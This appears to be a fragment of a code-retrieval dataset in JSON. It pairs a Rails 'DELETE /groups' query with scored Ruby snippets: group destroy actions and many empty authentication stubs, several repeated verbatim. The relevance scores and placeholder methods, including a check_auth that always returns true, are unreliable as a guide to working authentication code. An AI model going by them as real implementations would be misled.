"docid": "096656013ed38b7b1dbeeac711e44c18",
"score": "0.6161082",
"text": "def login; end",
"title": ""
},
{
"docid": "096656013ed38b7b1dbeeac711e44c18",
"score": "0.6161082",
"text": "def login; end",
"title": ""
},
{
"docid": "096656013ed38b7b1dbeeac711e44c18",
"score": "0.6161082",
"text": "def login; end",
"title": ""
},
{
"docid": "096656013ed38b7b1dbeeac711e44c18",
"score": "0.6161082",
"text": "def login; end",
"title": ""
},
{
"docid": "096656013ed38b7b1dbeeac711e44c18",
"score": "0.6161082",
"text": "def login; end",
"title": ""
},
{
"docid": "096656013ed38b7b1dbeeac711e44c18",
"score": "0.6161082",
"text": "def login; end",
"title": ""
},
{
"docid": "404f38bab200f188ac0db66131ee07d6",
"score": "0.61362267",
"text": "def auth_token; end",
"title": ""
},
{
"docid": "404f38bab200f188ac0db66131ee07d6",
"score": "0.6135261",
"text": "def auth_token; end",
"title": ""
},
{
"docid": "404f38bab200f188ac0db66131ee07d6",
"score": "0.6135261",
"text": "def auth_token; end",
"title": ""
},
{
"docid": "e91cd1720952f6f2b1d22606e08ac4d7",
"score": "0.61143595",
"text": "def login=(_arg0); end",
"title": ""
},
{
"docid": "928512e34ca1d76a28b3e5a1c18a9f87",
"score": "0.61066836",
"text": "def requestor; end",
"title": ""
},
{
"docid": "78da9c0732aba2ad97c3a55b59ae8293",
"score": "0.61032623",
"text": "def logged_in=(_arg0); end",
"title": ""
},
{
"docid": "f19c1f7decb39a9549b1bf255e68561e",
"score": "0.6099283",
"text": "def auth_hash\n super\n end",
"title": ""
},
{
"docid": "4068d62524413688c2751361d579ef20",
"score": "0.6088225",
"text": "def host_authorization; end",
"title": ""
},
{
"docid": "6f398155fbd1bc3d5baae76ac536cdc2",
"score": "0.6075156",
"text": "def auth(password); end",
"title": ""
},
{
"docid": "5a51e973c44c8d4e1cb6f8c9abe21164",
"score": "0.60703754",
"text": "def authenticate(*args); end",
"title": ""
},
{
"docid": "3769b7021c9ad261703927c54516dae7",
"score": "0.6063609",
"text": "def oauth; end",
"title": ""
},
{
"docid": "4a016b1dfd9b60c16c38d9a557e5cf0f",
"score": "0.60404396",
"text": "def authenticator(auth_type, *args); end",
"title": ""
},
{
"docid": "1b9d268bef058f00a77ef4d68404fa54",
"score": "0.60357606",
"text": "def unauthorized; end",
"title": ""
},
{
"docid": "0ce8bf10e1f9254e95abf874d9d83042",
"score": "0.603236",
"text": "def authority; end",
"title": ""
},
{
"docid": "0ce8bf10e1f9254e95abf874d9d83042",
"score": "0.603236",
"text": "def authority; end",
"title": ""
},
{
"docid": "0ce8bf10e1f9254e95abf874d9d83042",
"score": "0.603236",
"text": "def authority; end",
"title": ""
},
{
"docid": "0ce8bf10e1f9254e95abf874d9d83042",
"score": "0.603236",
"text": "def authority; end",
"title": ""
},
{
"docid": "0ce8bf10e1f9254e95abf874d9d83042",
"score": "0.603236",
"text": "def authority; end",
"title": ""
},
{
"docid": "0ce8bf10e1f9254e95abf874d9d83042",
"score": "0.603236",
"text": "def authority; end",
"title": ""
},
{
"docid": "0ce8bf10e1f9254e95abf874d9d83042",
"score": "0.603236",
"text": "def authority; end",
"title": ""
},
{
"docid": "19f0aef98e802f510ba80527f6e565f5",
"score": "0.6022498",
"text": "def authorize_authable_classes; phase_class; end",
"title": ""
},
{
"docid": "30f4e03b55339f4cb481c31f014abf19",
"score": "0.60074896",
"text": "def security\n end",
"title": ""
},
{
"docid": "523946f4cfc85f0d35c49ecada2f039e",
"score": "0.59956294",
"text": "def auth_token=(_arg0); end",
"title": ""
},
{
"docid": "523946f4cfc85f0d35c49ecada2f039e",
"score": "0.59956294",
"text": "def auth_token=(_arg0); end",
"title": ""
},
{
"docid": "0c698a87c17c7be4b4acb43a7d31c2f8",
"score": "0.5994283",
"text": "def userinfo; end",
"title": ""
},
{
"docid": "0c698a87c17c7be4b4acb43a7d31c2f8",
"score": "0.5994283",
"text": "def userinfo; end",
"title": ""
},
{
"docid": "65fe2a1902aa648a8fa9c5ca33924528",
"score": "0.5991681",
"text": "def access_denied; store_location; authenticate; end",
"title": ""
},
{
"docid": "7d84ed0d32452601121577f75ac1f0fb",
"score": "0.5990243",
"text": "def authenticate!\n end",
"title": ""
},
{
"docid": "7d84ed0d32452601121577f75ac1f0fb",
"score": "0.5990243",
"text": "def authenticate!\n end",
"title": ""
},
{
"docid": "af5312a938e7afd6ece2ed374192cd93",
"score": "0.59597754",
"text": "def auth_time; end",
"title": ""
},
{
"docid": "782e660e50b8d9191f4ab7a646ed9a0f",
"score": "0.5951616",
"text": "def authorize\n\tend",
"title": ""
},
{
"docid": "ca3e88892537796cd12bd96b748b0349",
"score": "0.5950726",
"text": "def secure; end",
"title": ""
},
{
"docid": "ca3e88892537796cd12bd96b748b0349",
"score": "0.5950726",
"text": "def secure; end",
"title": ""
},
{
"docid": "88165b088aa0b85ac343896c99e6249f",
"score": "0.5947875",
"text": "def get_secret_code; end",
"title": ""
},
{
"docid": "67979b1bf24a7499f7c6a62186b1dcf7",
"score": "0.5947847",
"text": "def token_authenticated?; end",
"title": ""
},
{
"docid": "02bfc4cf57d8c3f59296706352f3bd31",
"score": "0.5925905",
"text": "def check_auth\n true\n end",
"title": ""
},
{
"docid": "d11da73d7a741de16ef5e4fb4157a01a",
"score": "0.5915887",
"text": "def access; end",
"title": ""
},
{
"docid": "d11da73d7a741de16ef5e4fb4157a01a",
"score": "0.5915887",
"text": "def access; end",
"title": ""
},
{
"docid": "8cf8fb66accc1767968b80ba9154b845",
"score": "0.5915041",
"text": "def credentials; end",
"title": ""
},
{
"docid": "acc44da6b0a9e32cfb8584d889e44372",
"score": "0.5914125",
"text": "def normalized_password; end",
"title": ""
},
{
"docid": "acc44da6b0a9e32cfb8584d889e44372",
"score": "0.5914125",
"text": "def normalized_password; end",
"title": ""
},
{
"docid": "5cdd3b0d1f20e233f05b9df259464aa6",
"score": "0.5913414",
"text": "def normalized_user; end",
"title": ""
},
{
"docid": "5cdd3b0d1f20e233f05b9df259464aa6",
"score": "0.5913414",
"text": "def normalized_user; end",
"title": ""
},
{
"docid": "197707bb0300c63e0ec8a75a017b1d23",
"score": "0.58770037",
"text": "def login_content\n end",
"title": ""
},
{
"docid": "cb6f045e4f54781bfcf6f2c4c784f3ad",
"score": "0.5868131",
"text": "def authorizer(&block); end",
"title": ""
},
{
"docid": "1952b4b45ed2e4d46f1cd8aac0ac01c1",
"score": "0.58661413",
"text": "def process_check_auth_response(response); end",
"title": ""
},
{
"docid": "d198845a19560963d53658b0d53a1e84",
"score": "0.5859797",
"text": "def digest_auth(u, p); end",
"title": ""
},
{
"docid": "0119c4ac9f9564d1e8bda95b51db307e",
"score": "0.58578765",
"text": "def authentication_request(controller, realm, message = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "6f805d47a09c3e820b38505ca2da45d5",
"score": "0.585092",
"text": "def authorize\n \n end",
"title": ""
},
{
"docid": "e6e4ee3bf3afb3fa0f186e1ac59f9bde",
"score": "0.5847964",
"text": "def grant; end",
"title": ""
},
{
"docid": "17f4a82985988162eedbc0446dca88f7",
"score": "0.58478653",
"text": "def raw_params(auth); end",
"title": ""
},
{
"docid": "225ac962a15d04c4c2a9c8c9ca9b4a18",
"score": "0.5843792",
"text": "def mifare_authenticate\n\n end",
"title": ""
},
{
"docid": "ebe19d5d10b8e7201a635bd9e3a5c833",
"score": "0.5841864",
"text": "def authenticate(request, realm, &password_procedure); end",
"title": ""
},
{
"docid": "cb36c0b1c4c1d2d9e9401bba65392fa8",
"score": "0.5838275",
"text": "def login\n # to be implemented\n end",
"title": ""
},
{
"docid": "18c31fd24d99ac439f0d7bad8a7a2a8d",
"score": "0.58379084",
"text": "def logged_in; end",
"title": ""
},
{
"docid": "3f995fba5ddaf31c3b3664e4046f2b12",
"score": "0.5837791",
"text": "def applyProtection; end",
"title": ""
},
{
"docid": "48a27181c0ee3ac5804b308d88b59f9d",
"score": "0.58333063",
"text": "def bearer_authenticated?; end",
"title": ""
},
{
"docid": "f1dd0e4118a11aaee64b9ffc394a4846",
"score": "0.58296394",
"text": "def secure?; end",
"title": ""
},
{
"docid": "f1dd0e4118a11aaee64b9ffc394a4846",
"score": "0.58296394",
"text": "def secure?; end",
"title": ""
},
{
"docid": "c88364f80c71e1fee801b48b4dfe42a0",
"score": "0.5829025",
"text": "def authorize\n end",
"title": ""
},
{
"docid": "c18cc765a9a57589ae4dc81025c6d4ba",
"score": "0.58261436",
"text": "def auth_policies=(_arg0); end",
"title": ""
},
{
"docid": "edd388f0fc0d06c7004a987e840c30e5",
"score": "0.58260536",
"text": "def ident; login; end",
"title": ""
},
{
"docid": "7e01116a5c117259e9305ea455d2bdb3",
"score": "0.58171946",
"text": "def authorization(type, token); end",
"title": ""
},
{
"docid": "ec23e2e7e9028822c623b49cfba4edea",
"score": "0.5814179",
"text": "def basic_auth(u, p); end",
"title": ""
},
{
"docid": "d098c765842393f9829c23641387ac2f",
"score": "0.5801402",
"text": "def try_login_chain\n end",
"title": ""
},
{
"docid": "47038f2dfa659cb10106deea47d735e8",
"score": "0.57945687",
"text": "def proxy_user; end",
"title": ""
}
] |
6e69d3becd7dd4a57899c9808b1e988c
|
DELETE /groups/1 or /groups/1.json
|
[
{
"docid": "12883a1bfdfcba20a6abeb31f56fc0d9",
"score": "0.0",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: \"Group was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
[
{
"docid": "6bcedfe965043af5e8a2fb7e281d0626",
"score": "0.7957243",
"text": "def destroy\n @group = @dataset.groups.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to dataset_groups_url(@owner), flash: {success: t('app.msgs.success_deleted', :obj => t('mongoid.models.group.one'))} }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fb8cdcffb9dec3ec8ff696f7195c58d5",
"score": "0.78121156",
"text": "def destroy #delete group\n @group = Group.find(params[:id])\n @group.destroy\n render json: {message:\"Group Deleted\"}\n end",
"title": ""
},
{
"docid": "3cef85ba8deaccbabc31c3d908cf3d41",
"score": "0.78042465",
"text": "def destroy\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8cd02becdcb8864a81a896224c1b4195",
"score": "0.78016067",
"text": "def destroy\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_path }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "a1c78e428de28dbcfb29105fcecfd322",
"score": "0.7793539",
"text": "def destroy\n @group = Group.find(params[:id])\n\n @group.destroy\n\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a48f079ebbbe1d3e731cbb103a417d89",
"score": "0.7792014",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a48f079ebbbe1d3e731cbb103a417d89",
"score": "0.7792014",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a48f079ebbbe1d3e731cbb103a417d89",
"score": "0.7792014",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a48f079ebbbe1d3e731cbb103a417d89",
"score": "0.7792014",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a48f079ebbbe1d3e731cbb103a417d89",
"score": "0.7792014",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a48f079ebbbe1d3e731cbb103a417d89",
"score": "0.7792014",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a48f079ebbbe1d3e731cbb103a417d89",
"score": "0.7792014",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "79fcfdc3bb73319c371212bb9024aff8",
"score": "0.77844995",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "53158de2091770f6d801c1d315bab3b9",
"score": "0.7783285",
"text": "def delete_group\n @group = Group.find(params[:group_id])\n @course = Course.find(params[:course_id])\n @course.groups.delete @group\n render :json => @course.groups\n end",
"title": ""
},
{
"docid": "ed3758e41c78668f96f399c816be6975",
"score": "0.77821606",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ed3758e41c78668f96f399c816be6975",
"score": "0.77821606",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a86e33e71ae77a735956076ba3d78970",
"score": "0.77693164",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html {}\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b744e092fbf0a7167c33989e5254eea7",
"score": "0.77655035",
"text": "def destroy\n @api_v1_group.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "db435fbc27bf8ea21aa2b7d1a2a3359d",
"score": "0.7758371",
"text": "def destroy\n @group = Group.find_by_id(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "afd07993b1434b87c81cbf607b336f36",
"score": "0.77511126",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.774325",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.774325",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.774325",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.774325",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.774325",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.774325",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.774325",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.774325",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.774325",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.774325",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.774325",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.774325",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.774325",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.774325",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.7743091",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.7743091",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0b24080e8202e481a8065f698201ad94",
"score": "0.77421886",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "0b24080e8202e481a8065f698201ad94",
"score": "0.77421886",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "0b24080e8202e481a8065f698201ad94",
"score": "0.77421886",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "0b24080e8202e481a8065f698201ad94",
"score": "0.77421886",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "525b556e1a41d6fd1ba868ca67c4186d",
"score": "0.772897",
"text": "def call(id)\n client.delete(\"/api/rest/v1/groups/#{id}.json\")\n true\n end",
"title": ""
},
{
"docid": "b66f3e1a815878714fda12befe5774bd",
"score": "0.7698542",
"text": "def destroy\n #@group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "8ee346cb8cd91fd421333276c7fe8d05",
"score": "0.7691796",
"text": "def destroy\n @group = Group.find_by_slug_or_id(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "2d119a841b747256e5afe98990ddd25b",
"score": "0.76913357",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to dashboard_groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "04812d29ad797524363f9c4ded065f72",
"score": "0.76817274",
"text": "def destroy\n authorize! :admin, :site\n\n @group = Group.find(params[:id]) \n @group.destroy \n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "04812d29ad797524363f9c4ded065f72",
"score": "0.76817274",
"text": "def destroy\n authorize! :admin, :site\n\n @group = Group.find(params[:id]) \n @group.destroy \n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "9252d9f960d66ef9ae007d4aa8e8421a",
"score": "0.7678731",
"text": "def destroy\n @admin_group = Admin::Group.find(params[:id])\n @admin_group.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "47f678bc4b6e7e75f49d94f177bc01dc",
"score": "0.7676932",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.update_attributes(:deleted => true)\n client = AllPlayers.client\n client.group_delete(@group[:uuid])\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "47f678bc4b6e7e75f49d94f177bc01dc",
"score": "0.7676932",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.update_attributes(:deleted => true)\n client = AllPlayers.client\n client.group_delete(@group[:uuid])\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2293c08eec0e91721466b223813d1862",
"score": "0.767198",
"text": "def destroy\n @group.active = [email protected]\n\n group_json = @group.to_h.to_json\n\n url = @httpIp+'/pet.com/api/group/updateGroup'\n uri = URI(url)\n res = Net::HTTP.post(uri, group_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully deleted\"\n redirect_to groups_path\n\n\n end",
"title": ""
},
{
"docid": "fabc8593cdbf2564459e86e0e685169b",
"score": "0.7666761",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to :action => :index }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9e49599016a4434071d3009752fc22f3",
"score": "0.76633435",
"text": "def destroy\n authorize! :destroy, @group\n\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "14af35499f945fe691a33beb74132456",
"score": "0.765835",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to my_groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e13d9fb100eaed660a7b25279a1b88ee",
"score": "0.76286453",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n # format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "da607a078005ec90a8986e0bd97f0f54",
"score": "0.76237184",
"text": "def destroy\n if request.delete?\n target = Group.find_key(params[:id])\n if target.nil?\n render :text=>\"Could not find group '#{params[:id]}'\", :status => 404\n else\n if Group.delete(target.id) > 0\n render :text => \"Group #{params[:id]} deleted!\"\n else\n render :text=>\"Could not delete group '#{params[:id]}'\", :status => 500\n end\n end\n else\n throw \"HTTP DELETE required to complete this action\"\n end\n end",
"title": ""
},
{
"docid": "643588c20c9beabf7f775c3dac584b8e",
"score": "0.7608835",
"text": "def destroy\n @group = Group.find(params[:id])\n\n authorize! :delete, @group\n\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2e8742c89084f895cea7f3ff2574733d",
"score": "0.7601757",
"text": "def destroy\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to user_groups_url(current_user.id)}\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7536f72417e5f6b73053df8250a70849",
"score": "0.7595451",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was deleted.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c011efd6a84d62fb89dd1906a1dd76cc",
"score": "0.7580595",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to osul_groups_path, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7eaf6c3e727fd29126506242a35518cc",
"score": "0.75683963",
"text": "def destroy\n if @group.destroy\n Group.rebuild!\n end\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "64a1f8624a2db138ab2f4c154b97cfc8",
"score": "0.7556995",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n flash.notice = t('global.model_deleted', type: t('global.group').downcase)\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6bfb11837de9464b84b7244b2d60a496",
"score": "0.75300014",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.json { render json: \"Deleted success..\"}\n end\n end",
"title": ""
},
{
"docid": "a4ceecc7726e31b2afea0297f93255b1",
"score": "0.7525933",
"text": "def destroy\n @group = Group.find(params[:id]) || ( not_found and return )\n authorize! :destroy, @group\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to cooperative.groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "451694a40626a25d5da3b88c9dc86319",
"score": "0.7525026",
"text": "def destroy\n @group = @time_series.groups.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to time_series_time_series_groups_url(@owner), flash: {success: t('app.msgs.success_deleted', :obj => t('mongoid.models.group.one'))} }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3d267171e7a80bfd8e35107db3d230cf",
"score": "0.7504258",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e2e8756d1d60f200b00bc1fdfb8107b4",
"score": "0.74943227",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n \n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a6956a519e70ed97bdb0b35a0e344ff6",
"score": "0.7493522",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b5065526212a72b595458428b7ab8452",
"score": "0.7488206",
"text": "def destroy\n @group.destroy unless @group.default_group\n redirect_to groups_url\n # respond_to do |format|\n # format.html { redirect_to groups_url }\n # format.json { head :no_content }\n # end\n end",
"title": ""
},
{
"docid": "da7a8a78a64cd14ab86646774ace764b",
"score": "0.74878067",
"text": "def destroy\n @onion_group.destroy\n respond_to do |format|\n format.html { redirect_to onion_groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8ae2914d77adcc3a901b5870762a7a14",
"score": "0.74839336",
"text": "def destroy\n if @group.admin?( current_user) && (@group.members.length == 1)\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n else\n respond_to do |format|\n format.html { redirect_to @group, notice: \"Action not permitted. Groups must be empty to be deleted and can only be deleted by admins\" }\n format.json { head :no_content }\n end\n end \n end",
"title": ""
},
{
"docid": "12ee24741ad36dc668aabff2c95d965d",
"score": "0.7477425",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_path, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
